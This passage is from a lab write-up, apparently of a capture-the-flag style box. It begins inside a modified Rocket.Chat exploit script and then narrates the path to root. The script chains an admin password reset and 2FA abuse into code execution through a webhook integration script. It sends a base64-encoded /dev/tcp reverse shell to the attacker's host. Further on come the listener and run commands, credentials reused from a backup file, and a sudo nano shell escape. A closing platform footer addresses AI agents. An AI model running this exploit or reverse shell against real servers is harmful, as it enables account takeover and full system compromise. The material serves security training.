	payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"resetPassword\\",\\"params\\":[\\"'+token+'\\",\\"P@$$w0rd!1234\\",{\\"twoFactorCode\\":\\"'+code+'\\",\\"twoFactorMethod\\":\\"totp\\"}]}"}'
	headers={'content-type': 'application/json'}
	r = requests.post(url+"/api/v1/method.callAnon/resetPassword", data = payload, headers = headers, verify = False, allow_redirects = False)
	if "403" in r.text:
		exit("[-] Wrong token")

	print("[+] Admin password changed !")


def rce(url,code,cmd,user):
	# Authenticating
	sha256pass = hashlib.sha256(b'P@$$w0rd!1234').hexdigest()
	headers={'content-type': 'application/json'}
	payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"login\\",\\"params\\":[{\\"totp\\":{\\"login\\":{\\"user\\":{\\"username\\":\\"'+user+'\\"},\\"password\\":{\\"digest\\":\\"'+sha256pass+'\\",\\"algorithm\\":\\"sha-256\\"}},\\"code\\":\\"'+code+'\\"}}]}"}'
	r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False)
	if "error" in r.text:
		exit("[-] Couldn't authenticate")
	data = json.loads(r.text)
	data =(data['message'])
	userid = data[32:49]
	token = data[60:103]
	print("[+] Succesfully authenticated as administrator")

	# Creating Integration
	payload = '{"enabled":true,"channel":"#general","username":"'+user+'","name":"rce","alias":"","avatarUrl":"","emoji":"","scriptEnabled":true,"script":"const require = console.log.constructor(\'return process.mainModule.require\')();\\nconst { exec } = require(\'child_process\');\\nexec(\''+cmd+'\');","type":"webhook-incoming"}'
	cookies = {'rc_uid': userid,'rc_token': token}
	headers = {'X-User-Id': userid,'X-Auth-Token': token}
	r = requests.post(url+'/api/v1/integrations.create',cookies=cookies,headers=headers,data=payload)
	data = r.text
	data = data.split(',')
	token = data[12]
	token = token[9:57]
	_id = data[18]
	_id = _id[7:24]

	# Triggering RCE
	u = url + '/hooks/' + _id + '/' +token
	r = requests.get(u)
	print(r.text)

############################################################


# Getting Low Priv user
#print(f"[+] Resetting {lowprivmail} password")
## Sending Reset Mail
#forgotpassword(lowprivmail,target)

## Getting reset token through blind nosql injection
#token = resettoken(target)
## Changing Password
#changingpassword(target,token)


# Privilege Escalation to admin
## Getting secret for 2fa
secret = twofactor(target,lowprivuser,lowprivpassword,privuser)

## Sending Reset mail
print(f"[+] Resetting {adminmail} password")
forgotpassword(adminmail,target)

## Getting admin reset token through nosql injection authenticated
token = admin_token(target,lowprivuser,lowprivpassword,privuser)


## Resetting Password
code = oathtool.generate_otp(secret)
changingadminpassword(target,token,code)

## Reverse Shell
rev = '/bin/sh -i >& /dev/tcp/'+revip+'/'+revport+' 0>&1'
encoded_rev = base64.b64encode(rev.encode()).decode()
payload = 'echo ' + encoded_rev + ' | base64 -d | bash'
rce(target,code,payload,privuser)

## Authenticating and triggering rce

#while True:
#	cmd = input("CMD:> ")
#	code = oathtool.generate_otp(secret)
#	rce(target,code,cmd)
```

{% endcode %}

## Shell as rocketchat

Now that we have customized the script, we can move on to execution. We set up a listener to capture our reverse shell. We use Penelope for this.

{% embed url="<https://github.com/brightio/penelope>" %}

{% code overflow="wrap" %}

```
penelope -p 4446
```

{% endcode %}

Next, we run the modified script.

{% code overflow="wrap" %}

```
python 50108-modified.py -t http://10.1.49.196:3000/ -u '0xb0b@hacksmarter.hsm' -U '0xb0b' -p '0xb0b' -a 'localh0ste@exception.local' -A 'localh0ste' -H 10.200.36.223 -P 4446
```

{% endcode %}

<figure><img src="/files/zQJ2bAlfAkFKagcGmVqk" alt=""><figcaption></figcaption></figure>

After execution we get a shell. We are the user `rocketchat` inside a container.

<figure><img src="/files/W3cJCaj7lbASwzbObHAL" alt=""><figcaption></figcaption></figure>

## Shell as Ron

In the root directory of the container we find a `Backup_db.txt`. This file contains beside the host and database name a db user and the corresponding password.

<figure><img src="/files/VLkTgSVQi9RvA7jDvVu6" alt=""><figcaption></figcaption></figure>

Maybe those credentials were reused. We try to authenticate as `Ron` via SSH and are successful. We find the user flag in the users home directory.

{% code overflow="wrap" %}

```
ssh Ron@10.1.49.196
```

{% endcode %}

<figure><img src="/files/qFNNL0VSRX1SXh2S62zX" alt=""><figcaption></figcaption></figure>

## Shell as root

While enumerating, we find that the user can execute `/opt/log_inspector/check_log --clean` as `root` using `sudo`.

{% code title="" overflow="wrap" lineNumbers="true" expandable="true" %}

```
sudo -l
```

{% endcode %}

<figure><img src="/files/7hCo1gCk22kTkbVEooJX" alt=""><figcaption></figcaption></figure>

After execution, we see...

{% code title="" overflow="wrap" lineNumbers="true" expandable="true" %}

```
sudo /opt/log_inspector/check_log --clean
```

{% endcode %}

<figure><img src="/files/BWMpNdVvdzE7YVDV6HOt" alt=""><figcaption></figcaption></figure>

... its just nano opening `/tmp/log_clean_temp`.

<figure><img src="/files/HYNtMWoXRLhmkL2ABPjf" alt=""><figcaption></figcaption></figure>

We try to spawn a shell inside nano. Since we are executing it as `root`, we should receive a `root` shell. On how to spawn a shell can be taken from GTFOBins.

{% embed url="<https://gtfobins.org/gtfobins/nano/#shell>" %}

{% code title="" overflow="wrap" lineNumbers="true" expandable="true" %}

```
^R^X
reset; sh 1>&0 2>&0
```

{% endcode %}

{% hint style="info" %}
^R^X translates to CTRL+R CTRL+X
{% endhint %}

We try to spawn a shell...

<figure><img src="/files/wfrgI3jVus8habZcxToG" alt=""><figcaption></figcaption></figure>

... and we have a root shell. We find the final flag at `/root/root.txt`.

<figure><img src="/files/eyNQautZPAQJbGxGthr0" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/exception.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
